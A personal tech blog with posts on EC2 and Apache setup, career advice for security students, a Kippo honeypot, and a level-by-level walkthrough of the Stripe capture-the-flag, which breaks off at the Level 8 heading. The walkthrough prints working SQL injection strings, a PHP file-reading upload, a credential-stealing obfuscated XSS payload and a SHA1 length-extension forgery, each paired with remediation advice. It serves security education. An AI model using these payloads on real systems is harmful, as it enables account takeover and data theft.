Friday, February 28, 2014

How to Change the Default Timezone on Amazon Ubuntu EC2 Server

After setting up a Ubuntu Server on Amazon EC2, it's annoying that the default timezone is UTC. Here is how to change it:

sudo dpkg-reconfigure tzdata

Then restart your cron service. Otherwise, the timezone should be changed. This will allow the correct times to show up in any applications you have running.

Sunday, September 29, 2013

What I Wish I Knew Before Studying Computer Security in College

In twelve short weeks I am going to be graduating from college with a degree in Computer Networking with a focus in Computer Security. Over the past three and a half years, I have studied security in class, become involved in security-related extra-curriculars and in the industry, interned for a combined full year of full-time work at three different companies, and developed countless personal projects. Now that my time in college is almost over, I want to reflect on some of the things I've learned as a student of Computer Security with the hope that some incoming security students can learn from my experiences. If you are currently in the industry or have any other advice, feel free to leave a comment and start a discussion.

Update: There are some great discussions happening over at Hacker News and /r/netsec. Just to clarify some things that people have pointed out in those comments, this post is aimed primarily at new students who are considering this field. Obviously not every aspect is relevant for every person, but I tried to summarize the points most applicable to the largest number of students. Keep the comments coming, though - it's starting a great discussion about the state of security in academia.

Update 2: Thanks to Ünlü Ağyol for translating this post into Turkish. You can read it here.

1. This field is larger than you might think.

When I first started out as a freshman, I thought computer science as a general discipline was huge. There were so many sub-fields and focuses. Now that I've been studying one of those sub-fields, security, for almost four years, it seems huge in its own right. Cryptography, malware, reversing, mobile, forensics, web, mainframe, application, and networking are just a few of the topics in security (and that is barely scratching the surface).

Because of this, you will never learn everything. You will learn concepts and overarching principles along with a few details here and there. But the real experience comes from internships. Jump at internship opportunities the first chance you get. If you have no plans for the summer after freshman year, you are likely going to be behind.

2. You're not going to escape computer science.

The college that I am attending has distinct majors for Computer Security and Computer Networking that are in an entirely different department from Computer Science. Some schools have Computer Science as the major and Security as the minor or concentration. Regardless, I've heard countless peers say that the reason they chose security over computer science was to avoid all the programming. While you can certainly avoid some of the more concept-heavy principles of computer science by studying security, it's not going to do you many favors in the long-run. I haven't had a single internship that didn't require moderate to heavy amounts of programming. As a security student, I often wished that I had spent more time understanding the core elements of computer science. Additionally, many security challenges require a vast understanding of both the security and the programming concepts behind them.

3. Involvement and personal projects matter.

This is more relevant to the tech field in general, but is still extremely applicable to security. I know a number of students who are ready to graduate and don't have a single repo on GitHub, have never published a blog post, don't read any blogs online, and couldn't begin to list something on their resume that wasn't part of a class project. Getting good grades in class is not enough to sell your skills to an employer. The security field is full of conferences, challenges (Capture the Flags), and project opportunities. Getting involved in a security club (starting one if one doesn't exist), completing online challenges (there are hundreds of them), maintaining a blog, and pushing some personal projects to GitHub every once in a while are great ways to show that you actually care about the work you're studying.

4. You need to love this field to make it a career.

The rate at which technology is changing is absolutely insane. With every new program, technology, language, or feature that is developed comes a host of security challenges. New discoveries are made every day, if not every hour. A career in security is not one that can be performed at the office and separated from the rest of your life. To be successful, you need to be involved in the industry, reading blogs by security researchers, and even doing research yourself. You will never learn everything (see point number one), but at least you will be informed.

5. Learn to spell and use proper grammar.

I would often spend an extra ten or twenty minutes after every group project to go back through my peer's work and correct "then" to "than," "your" to "you're," and so on. I also repeatedly catch myself misspelling some words. Many students think that being in a tech career excuses them from the requirements of good spelling and proper grammar. However, security still requires reports, letters, emails, and other documentation along with written communication with bosses, clients, and coworkers. You are not going to be taken seriously if spelling mistakes are prevalent throughout your work.

6. Break things.

I spent the better part of my first year of college carefully completing every lab report, following the steps verbatim, and starting over when things went wrong. I relied entirely too heavily on virtual machine snapshots. What I should have been doing instead of pressing "restore" was Googling for my problem and fixing it. Thankfully, I recognized this early on and was able to start treating my labs as real-world scenarios. It's not very easy to simply hit "restore" on a production server because you accidentally deleted a set of files. So it shouldn't be possible in labs. Plus, while Googling for the problem, you just might learn a few other things as well.

To complement this point, don't be afraid to experiment on your own, either. Labs and homework are only going to teach you so much. As I mentioned in point one, it is impossible to teach every aspect of security in four years. You need to do your own work and break your own things. Virtual machines are perhaps the easiest way to do this. Want to learn how to secure a web server? Set one up and Google how to break it. Then, actually try. Download an insecure VM (De-ICE, WebGoat, etc.) and go through the challenges. As a professor of mine has said many times in class, "you're not learning unless your body is between the screen and the chair and your hands are on a keyboard."

7. Learn to use Google.

I mean really use Google. Learn how to find the most obscure problems and the most practical solutions. You will be amazed at how many other people have had the exact same problem.

8. You sometimes have to ask to find security internships.

When I first started looking for internships, the most common issue I ran into was what seemed like a lack of openings for security positions. Almost all the openings were for "Software Engineer," "IT," or "Help Desk." However, after I started sending out emails to companies, I found that many of them were extremely willing to take on an intern in their security department. All I had to do was ask.

9. Awesome security electives exist. Take them!

Obviously there is no way to fit every possible security concept into a four year degree program. Many schools offer security electives that supplement existing courses with new material. Two that I remember vividly were "Cyber Defense Techniques" (basically a team-based hack and defend course) and "Pentesting." These were very hands-on classes and required a lot of outside work. But they're also the classes in which I got the most time behind the keyboard and learned by doing. Many professors who are interested in security are willing to teach these courses because they want to learn as well. Sometimes, all it takes to get a course developed is to talk to a professor.

10. Vary your experience.

While it's certainly an option to intern at a company during your freshman year, come back every year after, get a job with them after graduation, and work for them the rest of your life, reality doesn't always pan out that way. You will never be able to predict where your career will take you in ten, twenty, or thirty years, so getting varied experience now might be the key to accepting or rejecting a future job offer. There are so many places that security experience can take you. You can work in the government, for a consulting firm, a startup, a bank, a typical business, a non-profit, and in practically almost any other environment you can imagine. If you have three summers between freshman and senior year, work in three different places. Vary your physical location (try a city vs a rural area), the size of the company (a startup may only have ten people whereas a multinational bank might have 10,000), and other factors.

11. You're still a college student.

Last, but not least, remember that you're a college student. Again, this is not solely applicable to security, but join organizations, make friends, and create experiences for yourself. Study abroad if you can. While coursework is certainly important, there is so much more to experience in college than just going to class and returning home. Take advantage of the discounts and offers you get as a college student (including many security conferences). You have just about four years to shape the rest of your life; remember to shape it evenly.

Wednesday, August 7, 2013

Running Django and Node.js on the Same Server Using Apache

I've recently started working with Node.js and have been coding a few projects that I wanted to host on my VPS. However, I already have a few sites that I've written in Django running on that server on port 80. As it turns out, it's not terribly difficult to run both Node and Django on the same server, with different domains, both utilizing port 80.

I'm going to assume that you've already installed Python, Django, and Node.js on your server and that you have working projects. There are tons of tutorials on installing these on a server, so I'm not going to use this space for that. So let's begin!

First, to create the Django site, upload your Django files to your server. I'm going to save them in the directory /user/web.

To get Django working, there is a great tutorial over at DigitalOcean here: https://www.digitalocean.com/community/articles/installing-django-on-ubuntu-12-04--4

Make sure to follow all the steps. Once you can access yourdomain.com and see your app, you are successful.

Apache is now serving your Django app via mod_wsgi. To serve the Node.js app, we're going to use a reverse proxy pointing to a running instance of the Node.js server on a different port (I'll be using 3000).

Upload all of your Node.js project files to your server. I'll be saving them in /user/web/node.

Now, enable the proxy with the following command:

sudo a2enmod proxy proxy_http

Next, create a file in /etc/apache2/sites-available for your domain such as: /etc/apache2/sites-available/sample.com

In this file, paste the following code, changing sample.com to your domain:

<VirtualHost *:80>
    ServerName sample.com
    ServerAlias www.sample.com

    ProxyRequests off

    <Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>

    <Location />
        ProxyPass http://localhost:3000/
        ProxyPassReverse http://localhost:3000/
    </Location>
</VirtualHost>

If you need to use another port, change both locations.

Save this file, and then start your node server on the port you specified. Add the site with the following command:

sudo a2ensite sample.com

Make sure to restart your Apache service:

sudo service apache2 restart

Now, when a user visits yourdjangoapp.com, Apache will call your Django app using mod_wsgi as described in the linked tutorial above. When you visit yournodeapp.com, Apache will use a reverse proxy to call the Node.js server running on the port you specified.

You can repeat this process to add as many Node.js projects as you want, but make sure you use a different port for each.

Additionally, I recommend using a Node tool called "forever" (npm install -g forever) to keep your service running in the background and restart it if it crashes.

Monday, October 22, 2012

Mozilla Intern Presentation

As my experience as an intern at Mozilla slowly comes to an end, I've had some time to reminisce on the work I've done and projects I've been a part of. Last week, I had the opportunity to give a presentation to the Mozilla community about my intern work. Here is a link to that presentation from Air Mozilla:

Sunday, October 21, 2012

Kippo Honeypot on Amazon EC2 Instance Free Tier

A project I've had in mind for a while is to use Amazon's Cloud (specifically an EC2 instance) to setup a honeypot. Luckily, Amazon has been offering a low end, free tier of service for an EC2 instance, which is just what I need for this project. In this post I'm going to walk through exactly what I did to setup a medium-interaction honeypot known as "Kippo" on an Amazon EC2 instance completely for free (at least for one year). This isn't as straightforward as it seems because, with the free tier, you only get one IP address. This means you can't setup your honeypot for SSH on one IP and the admin/machine SSH on another. Don't worry though, we'll fix that.

Setting up an EC2 Instance


The first step to setting up the honeypot is to subscribe to Amazon's EC2 service. You'll need to go through the registration and enter a credit card, but they won't charge anything to it. You'll also need to enter a phone number to receive a code in order to verify your identity. I'm not going to walk through that process here, but you can sign up and read more here: http://aws.amazon.com/ec2/

Once your account is created, open up the AWS Management Console. It should look like this:

Click on "EC2". Now, launch an instance by clicking "Launch Instance."
Choose the "Classic Wizard" and continue. Now, select the Ubuntu Server 12.04 64-bit image (note: instances included in the free tier are marked with a star).
Choose one instance, and an instance type of "Micro" with 613MB memory (note: this is also marked with a star).
Click "continue" through instance details, nothing needs to be changed. Next, create a key pair and save the resulting .pem file. You will need this to SSH to the server. For a security group, select the quick-start group from the left.
Now, you can review your instance and create it. The instance may take some time to initialize. Once it finishes, you should see it running under "instances."

Getting an IP Address


Now, create a new elastic IP for your machine. This will allow your machine to retain a single IP through which attackers can SSH. Click on "elastic IPs" under "Network and Security." Then, allocate a new IP address. In many cases, honeypots will have two network interfaces - one for the attack surface, another for management. Each interface would have a different IP address to separate the attack surface from the management. However, Amazon's free tier allocates only a single elastic IP. Do not create a second IP or you may be charged for additional usage.

Once you have an IP, make sure it is pointing to your running instance.

SSH to the Instance


We can now connect to the instance via SSH. Make sure you are in the folder in which you saved your .pem file from Amazon. Then, ssh using the following command:

ssh -v -i <your-key>.pem ubuntu@ec2-<ip-address>.compute-1.amazonaws.com

"Ubuntu" is the default username for the instance.

Change the SSH Port


To get around the IP address restrictions, we're going to run the management SSH on a non-standard port and the honeypot on the typical port 22. This will allow us to both obscure the management connection and increase the number of attacks seen by the honeypot (almost every attacker will try port 22 for SSH first). To change ports, we need to edit the configuration file for the already-running SSH server and then restart the service. Do this carefully or you may lose access to your machine.

Begin by editing your SSH config file located here: /etc/ssh/sshd_config

At the very top of the file are the following lines:

# What ports, IPs and protocols we listen for
Port 22

Change this port number to something between 49152 and 65535. Make sure you write it down and do not forget the port number you selected.

Now, restart the SSH service by running:

/etc/init.d/ssh restart

When you run this command you will likely be disconnected from your machine. Hopefully you "restarted" and didn't "stop."

You will now need to edit the Amazon security rules within your AWS console to allow your new port on inbound connections. To do this, click "Security Groups" under "Network & Security." Then, click on the "quick-start-1" group and then the "Inbound" tab. Add your new port number and be sure to apply the changes.
You can see that my port is 50683 in this case.

Now, reconnect to the machine by running the following command. Note the added -p parameter to specify the port number.

ssh -v -i <your-key>.pem ubuntu@ec2-<ip-address>.compute-1.amazonaws.com -p <port>

*Note: you can create an SSH configuration so you don't need to specify all these options for every connection  but that is beyond the scope of this guide.

Hopefully you have reconnected to your machine. SSH is now running on a port other than 22 which will allow us to use the standard SSH port for our honeypot.

Installing Kippo


We can now install Kippo and begin configuring our honeypot. I am not going to re-write a guide for the installation process as it is well-documented and many guides already exist. This is a great guide, written for CentOS, but the process is very similar: http://www.howtoforge.com/how-to-set-up-kippo-ssh-honeypot-on-centos-5.5

*Note that you should not need to update Python. Also, when downloading the Kippo source, be sure to use the latest version as this guide is a bit old. Finally, you will need to add the IPTABLES rule to redirect port 22 traffic to port 2222.

Once everything is installed and running, you should be able to issue the command:

ssh root@<your-ip>

and be logged into your honeypot.

Viewing Logs


One of the best parts of Kippo is that it logs every interaction an attacker has with the system. These logs are saved in /home/kipuser/kippo/log/
*kipuser may be replaced with the username of the kippo user you created.

To replay the logs, copy the file "playlog.py" from kippo/utils into the kippo/log/tty folder, then issue the command:

sudo python playlog.py <log-name>.log 0

This will replay the attacker's interaction with the system.

Further Resources


http://www.howtoforge.com/how-to-set-up-kippo-ssh-honeypot-on-centos-5.5
http://code.google.com/p/kippo/wiki/KippoOnLinux
http://www.linuxlookup.com/howto/change_default_ssh_port

Wednesday, August 29, 2012

Stripe Capture the Flag - Level by Level Walkthrough

Last week, Stripe, a web payments company, launched an online web security-based capture the flag event which ended today (Wednesday) at noon. The event was designed to challenge participants on some very common, as well as lesser-known vulnerabilities that exist in web applications. I decided to try my hand at some of the challenges and was fortunate enough to make it through all eight levels and earn myself an awesome prize (a Stripe T-Shirt)! I spent a bit of time after each level collecting notes about what I had tried, what worked, what didn't, and why the vulnerability existed. Some of the challenges really required out-of-box thinking, but capturing the password, and eventually the flag, was a truly rewarding experience.

I have decided to make this blog post detailing each level now that the contest has ended. Stripe is releasing the CTF as a download for other organizers to run or to run locally, so if you haven't participated yet and may wish to in the future, I'd stop reading here because there are some very big spoilers ahead.

I am going to break down each level into: a description and background explanation (so even if you didn't participate in the challenge, you can still get an understanding of what is happening), what the vulnerability was, and remediation methods.

Note: All of my code solutions are also posted to my GitHub account. They are posted as-is and are not guaranteed to work without modification for your account/instances.

Level 0 - The Secret Safe
Background
The first level starts us off with a simple application. The Secret Safe is a form, written in JavaScirpt and the Mustache JS framework with a SQLite backend, that allows uses to enter a name, a secret name, and a secret, then save it in the database. The secrets can then be viewed by entering the name in a search field. We are told that the password to level one is stored in the database as one of the secrets. However, we don't know the namespace used to save the secret, and thus, cannot simply search for it. Trying out the application a few times allows us to see the functionality, which is relatively simple. Secrets can only be retrieved by entering the correct namespace in the box "view secrets for." Or can they?

Vulnerability
Luckily (for the attacker), the SQL statement used to retrieve the stored secrets is vulnerable to SQL injection. SQL injection allows us to enter arbitrary text that is interpreted as part of the actual SQL command. Here is the exact SQL statement that is used when the user searches for a secret.

SELECT * FROM secrets WHERE key LIKE ? || ".%"

The notation above appends the term entered by the user to the end of the statement using the || characters to append the term, represented by the ".%". For example, if we were to enter the term "test," the final statement would look like this:

SELECT * FROM secrets WHERE key LIKE "test"

The fact that the application uses the input from the user directly, without first escaping any characters that could cause issue with the query, is the basis for our exploit. Let's assume that the user enters the character "%" as the search term. In SQL, the % character is considered a wildcard. Let's look at the statement when % is entered:

SELECT * FROM secrets WHERE key LIKE "%"

This statement will cause all results to be returned because the % character will match all the results in the database. Entering a % gives us the following result (and the needed password):


Remediation
The fundamental problem with this web application (and the cause of most web application vulnerabilities) is that it fails to treat user-entered input as unsafe. Information that is provided by the user in any shape or form should never be trusted by the application without first checking the input. Each application has different methods of escaping data that is entered by the user before crafting a SQL query, so the appropriate method for the language being used should be implemented. However, even safer queries can be generated by considering the kinds of input. For example, an input asking for a user's name should never allow characters such as @, &, (, <, >, etc.).

Level 1 - Guessing Game

Background
Level one implements a simple guessing game. In order to determine the password to the next level, a secret combination must be provided. The level uses PHP to load a file on the server, read its contents, and compare it to the parameter provided via GET (passed in via a form). If the parameter matches the combination, then the password is released.

Vulnerability
One technique developers use in PHP applications is to assign parameters using the extract() function. This function takes a URL such as:

site.com/?attempt=test

and assigns the variable $attempt the value "test." This works well when there are many variables to be retrieved (such as submitting a large form) because it negates the need to assign each variable individually:

$attempt = $_GET['attempt'];
$var2 = $_GET['next_var'];
...

However, extract introduces a security risk because it allows variables that have been previously set to be overridden using input. For example, in the application code, the variable $filename is set before extract() is used. If we provide our own filename variable, we can overwrite the original:

/?attempt=&filename=

In this case, we are setting both the attempt and the filename variables to the empty string "". By following the logic of the code, we can now see that this will cause the combination variable to also set to "" since the filename is blank. Finally, this will cause the if statement:

if($attempt === $combination)

to evaluate to true, releasing our password.

Remediation
Although the extract() function is dangerous in its native form, its security can be improved by using extract() with the EXTR_SKIP option. This option prevents already defined variables (such as $filename in the above example) from being overwritten by $_GET or $_POST variables. In addition, prefixes can be used to append a string to the variable if it overwrites an existing one using the EXTR_PREFIX_SAME option.

Level 2 - Social Network

Background
The social network is a basic application that allows for images to be uploaded as a profile picture. There is little more functionality beyond that, but that is all that is needed to exploit this level.

Vulnerability
The vulnerability in level two is so severe that it is used in the attacks of future levels. The developers of the application allow users to upload files but do not restrict the uploads in any way. Although the upload page asks the user to upload an image, we can upload any file we like. Since the page is written in PHP, we can safely assume a PHP server is running and upload our own PHP files for execution. Analyzing the code shows us that the password is stored in a file called "password.txt." Using the file_get_contents() function of PHP, we can create a very simple page which will retrieve our password:

<?php
echo file_get_contents("../password.txt");
?>

Note that we need to use ../ to go up to the user directory from the uploads directory where our page is saved. Running the page from the uploads directory gives us the password needed for level three.

Remediation
The main vulnerability here is that the upload page accepts files of any type. PHP allows upload restrcitions based on the MIME type (i.e. image/png, image/jpg, etc.). A file's extension should not be used as a sole valid check because anyone can change the extension of a file, although it can be compared to the MIME type for a bit of added security. Since MIME can be spoofed or arbitrary code can be inserted into an image file, the best option is to use a combination of MIME and extensions, check the MIME type on upload, and manually assign an extension based on the MIME type.

Level 3 - Secret Vault


Background
Level three appears to be a simple login-based application. In order to determine the password, we need to login using a valid username and password. This application is written in Python (more specifically, the Flask framework) with a SQLite backend.

Vulnerability
As with level zero, the input from the user is not properly escaped before being compiled as part of the SQL query. This allows us to inject malicious SQL to return the user "bob" who holds the password to level four. Below is the exact query that is vulnerable:

query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username)

The query is executed using cursor.execute(query) in Python. The execute function prevents us from simply ending the first query with a semicolon and beginning a new query such as:

bob; UPDATE users SET salt='' WHERE username='bob'

or something similar to directly modify the data in the database. However, we can use the UNION keyword to extend the original query and return the information we want. In SQL, UNION merges the results of the left hand query with that of the right. By entering the following query as the username, we can set the values of password_hash and salt to ones we know:

bob' UNION SELECT 1 as id, 'd74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1' as password_hash, '' as salt FROM users WHERE'1'='1

To determine the value of the password_hash, we need to determine what function the application is using to calculate it. Looking at the code reveals that it is sha256. An online hash calculator allows us to determine a hash for a password we know, such as "pass" in the example above.

By setting the salt to the empty string '', we are causing only the password we entered in the password box, "pass," to be hashed. When it is, it matches the hash we provide, thus giving us access to the user account. The final statement, with the injection looks like:

SELECT id, password_hash, salt FROM users WHERE username = 'bob' UNION SELECT 1 as id, 'd74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1' as password_hash, '' as salt FROM users WHERE'1'='1'

Remediation
As with level zero, user input should never be trusted. In this case, the first single quote after "bob" allows us to break out of the original statement. By properly escaping the input, this injection could be prevented.

Level 4 - Karma Fountain

Background
The concept of Karma Fountain is that users send other users "karma." However, to prevent abuse, the application also sends the password of the sending user to the recipient. A "super user" known as Karma Fountain has unlimited Karma to share. If Karma Fountain were to send Karma to someone, its password would also be exposed. The application prevents users from logging in as Karma Fountain. Finally, we are told that Karma Fountain logs into its account every few minutes.

Vulnerability
To find the vulnerability, we first need to determine what we can attack. By looking at the code, it is evident that one user-input field is not being escaped that is also displayed back to users of the application: the password field. The following code shows that the username is checked to ensure it contains only word characters, but no such protection is in place for the password field:

unless
     username =~ /^\w+$/die("Invalid username. Usernames must match /^\w+$/", :register)
end

Now that we have determined that the password field is not escaped, we need to determine an attack type. Since the password field is shown to all users who have received Karma from us, we can launch a cross-site scripting attack against Karma Fountain by sending it karma from an account with a password containing XSS.

To execute an XSS, we need to determine what is happening when we send karma. By using any intercepting proxy (such as BurpSuite or Zed Attack Proxy) or even using the web developer tools in the Firefox or Chrome browsers, we can see the exact request made to send karma.



As this shows, a POST is made to transfer/ with the parameters "amount" and "to." We now know that we need to craft an XSS that will make a POST request to with "transfer" set to any amount and the "to" field set to our username. Below is the XSS I used to do just that:

<script>var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST","transfer",true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("to=one&amount=25");</script>

By setting this string as the password of my account, I could then login, send Karma Fountain some karma, and wait until it logged in, executed my script, and posted karma to my account, exposing its password. The above XSS payload could also be written in JQuery using $.post if the site is using JQuery.

Remediation
As with SQL injection, XSS is made possible by the direct use of user input as part of a page. In this case, the password field is the only input that is not checked. XSS is prevented by properly encoding the output from stored user input before it is executed as part of the page itself. Every language and framework has varying methods for preventing XSS (such as htmlentities and htmlspecialchars in PHP). You can read more about preventing XSS at this OWASP page.

Level 5 - Domain Authenticator

Background
The Domain Authenticator is an application that allows users to provide a "pingback URL," a username, and a password to login. The pingback is essentially a website that validates the credentials and responds with AUTHENTICATED or DENIED. The response also includes the host, so for example, if "mysite.com/pingback.php" is provided, you will be authenticated as user@mysite.com. The goal is to authenticate as a level five user. However, the level five machines only have limited network connectivity to other stripe-ctf servers.

Vulnerability
The vulnerability in this level lies in a programming error that allows us to recursively chain pingbacks as well as how the host is checked. The level 5 server URL allows a /?pingback parameter to be used. So visiting the following URL would set the pingback as "mysite.com":

https://level05-1.stripe-ctf.com/user-xxx/?pingback=mysite.com

Knowing this, we can exploit the remote file vulnerability that exists in level two to upload a file that will always return AUTHENTICATED. I uploaded the following file, named pingback.php, to level two:

<?php
echo "AUTHENTICATED";
?>

However, trying to add just that URL as the pingback will only allow us to authenticate as a member of a level two machine since the host is a level two server. We want the response to come from a level five server. To do this, we can recursively string our URL such as:

https://level05-1.stripe-ctf.com/user-xx5/?pingback=https://level02-2.stripe-ctf.com/user-xx2/uploads/pingback.php

Entering this URL in the URL field causes the response to recursively appear to come from a level five machine, allowing us to gain access.

Remediation
This vulnerability is introduced because of programming logic error. The developers did not consider that a user would recursively chain pingback URLs. It just goes to show that user input should always be treated as untrusted and to expect the unexpected. The security of this application can be enhanced by carefully deciding what input should be accepted.

Level 6 - Streamer

Background
Streamer is a miniature Twitter-style application. Users post an update and all other users see it. There is one user, level07-password-holder, who checks in periodically (every three to four minutes) to see the latest updates. After creating an account, anyone can post updates which are seen by all other users. By visiting the url ajax/posts, a JSON string of all the previous posts can be viewed. When posting an update, a POST is made to that same URL with a post title, body, and CSRF token. The post body cannot contain quotes, or it is rejected. Finally, in order to remind users of their passwords, the application stores user credentials on a page called "user_info" which is available upon logging in. We are told that the level07-password-holder's password is complex and contains both single and double quotes, which is important.

Vulnerability
The vulnerability in Streamer is similar to the one in Karma Fountain (cross-site scripting). However, this level challenges the user to carefully craft an XSS attack that will obtain the required pieces of information and make the correct POST. Knowing that the level07-password-holder logs in every few minutes gives us an opportunity to create a payload. First, we have to find how the data is being retrieved and presented.

Streamer uses a JSON string of posts which is uses to update the posts/ page as well as save new POSTs of posts. To exploit the XSS, we need to break out of the returned JSON string and execute arbitrary code on the page without using quotes. A simple script allows us to do that:

}];</script><script>alert(1);</script>//

Entering this code as the body of a post and then refreshing the page causes the alert to appear. We now have the format for our XSS.

By looking at the source of the page, we can tell that JQuery is being used. This will make our attack much easier by giving us functions to work with and reducing the amount of code needed. It is also evident that a CSRF token is being used. Cross-Site Request Forgery is an attack that allows remote users to POST to a page from any other webpage, not just the page with the form. You can read more about CSRF here because our application is not vulnerable to CSRF thanks to the token. The token, however, is a necessary part of the POST request, so our XSS must obtain it before doing a POST.

Note: there are a number of ways this level can be solved using XSS. For example, I used JavaScript to find the CSRF token, then used GET to get the page with the user's credentials, obtained from the user_info page and POSTed all the results to the ajax/posts page. However, it is also possible to obtain the credentials, change the value of the textbox to match them, then submit the form, all using JQuery. In some cases, it is also possible to simply steal the user's session cookies, but this application used httponly cookies which prevent scripts from accessing them.

The methodology for this attack is to make a GET request to the user's user_info page (which contains his credentials), save the response, then POST the response to the ajax/posts page. Below is an XSS payload I used to do just that. Note that I used a replace function to remove the quotes before POSTing to prevent the password from escaping out of the JSON.

$.get("user_info", function(result){
        var data = $(result).find('td').text();
        var csrf_token = document.forms[0].elements["_csrf"].value;
        var replaced = data.replace(/"/g, "YY");
        replaced = data.replace(/'/g, "XX");
        $.post("ajax/posts", { title: "THIS", body: replaced, _csrf: csrf_token } );
    });

This payload now needs to be converted to character codes to avoid the use of quotes. Using an online converter such as this one, our attack now looks like:

}];</script><script>eval(String.fromCharCode(36, 46, 103, 101, 116, 40, 34, 117, 115, 101, 114, 95, 105, 110, 102, 111, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 114, 101, 115, 117, 108, 116, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 100, 97, 116, 97, 32, 61, 32, 36, 40, 114, 101, 115, 117, 108, 116, 41, 46, 102, 105, 110, 100, 40, 39, 116, 100, 39, 41, 46, 116, 101, 120, 116, 40, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 99, 115, 114, 102, 95, 116, 111, 107, 101, 110, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 102, 111, 114, 109, 115, 91, 48, 93, 46, 101, 108, 101, 109, 101, 110, 116, 115, 91, 34, 95, 99, 115, 114, 102, 34, 93, 46, 118, 97, 108, 117, 101, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 34, 47, 103, 44, 32, 34, 89, 89, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 39, 47, 103, 44, 32, 34, 88, 88, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 92, 34, 47, 103, 44, 32, 34, 88, 88, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 46, 112, 111, 115, 116, 40, 34, 97, 106, 97, 120, 47, 112, 111, 115, 116, 115, 34, 44, 32, 123, 32, 116, 105, 116, 108, 101, 58, 32, 34, 84, 72, 73, 83, 34, 44, 32, 98, 111, 100, 121, 58, 32, 114, 101, 112, 108, 97, 99, 101, 100, 44, 32, 95, 99, 115, 114, 102, 58, 32, 99, 115, 114, 102, 95, 116, 111, 107, 101, 110, 32, 125, 32, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59))</script>//

Once the attack is crafted, we can post it as an update, wait for the level07-password-holder to log in, then visit ajax/posts where we should see the password.

Remediation
Again, this attack relies on the application to treat user data as untrusted. By properly escaping all data that users input, this attack can be avoided.

Level 7 - WaffleCopter

Background
WaffleCopter is a food delivery service that has a set of user "levels." The earlier users (determined by user_id) are "premium" users and can order premium waffles. You, however, are not, and can therefore not order premium waffles. The goal of the challenge is the order a premium waffle without being a premium user.

Upon logging in, you are given an API endpoint, a user_id, and a secret. Using this information, you can POST to the endpoint using your secret and user_id to order a waffle. The application checks that you are a premium user before allowing a premium order.

The application also allows you to view logs of previous API requests. By viewing the following URL, you can see all of your requests: https://<level7_server>.stripe-ctf.com/user-xxx/logs/<your_user_id>. Replacing your user_id with "1" (a premium user) gives the following results:

2012-08-23 08:04:55 /orders count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo|sig:75c0741cc140d77f70bca0cb473788249f1fd0fe

2012-08-23 08:04:55 /orders count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken|sig:bbab520cfdd9b8b91df1e613b0525d252b7c777b

This page shows that a signature is appended to the request. To calculate the signature, an algorithm called SHA1 is used, as in the following code:

def _signature(self, message):
     h = hashlib.sha1()h.update(self.api_secret + message)
     return h.hexdigest()

Vulnerability
The vulnerability in this application comes from the fact that it is using SHA1 to calculate the signature. A well-known weakness of SHA1 is that it is vulnerable to an attack known as hash length extension. I am not going to delve into the cryptography involved, but here is a simple explanation from WhiteHat Security:

If you have a message that is concatenated with a secret and the resulting hash of the concatenated value (the MAC) – and you know only the length of that secret – you can add your own data to the message and calculate a value that will pass the MAC check without knowing the secret itself.
Source: https://blog.whitehatsec.com/hash-length-extension-attacks/

Ultimately, because of the way SHA1 is designed, we can inject arbitrary data onto the end of a request following a padding, calculate a valid signature, and send this as the new request. Since we know the signature of user_id 1 from the API logs, as well as the length of the key, we can now calculate a new extended and padding message and a new signature that will pass the check.

To do this, a tool called "sha-padding.py" was developed. It can be downloaded here: http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/. This tool takes the following parameters: <keylen> <original_message> <original_signature> <text_to_append>

We have the key length (14). The original message is a request from the API such as: "count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken". We also have the original signature (in my case: bbab520cfdd9b8b91df1e613b0525d252b7c777b). The text we want to append is this: "&waffle=liege". This will override the first variable "waffle" and replace "chicken" with "liege," the name of a premium waffle.

Running our tool gives us the following output:

new msg: 'count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x028&waffle=liege'
base64: Y291bnQ9MiZsYXQ9MzcuMzUxJnVzZXJfaWQ9MSZsb25nPS0xMTkuODI3JndhZmZsZT1jaGlja2VugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI4JndhZmZsZT1saWVnZQ==
new sig: 15fa901713b0252d03b30f206ad58aee06e6d846

We can now make a POST request to our end point using our new message and the new signature.

Remediation
This vulnerability is introduced because of the use of an insecure cryptographic function, SHA1. Many better alternatives to SHA1 have been developed, including HMAC. It would also help if the API logs of users were only available to those users (this would prevent us from getting the needed signature).

Level 8 - Chunk Servers

Background
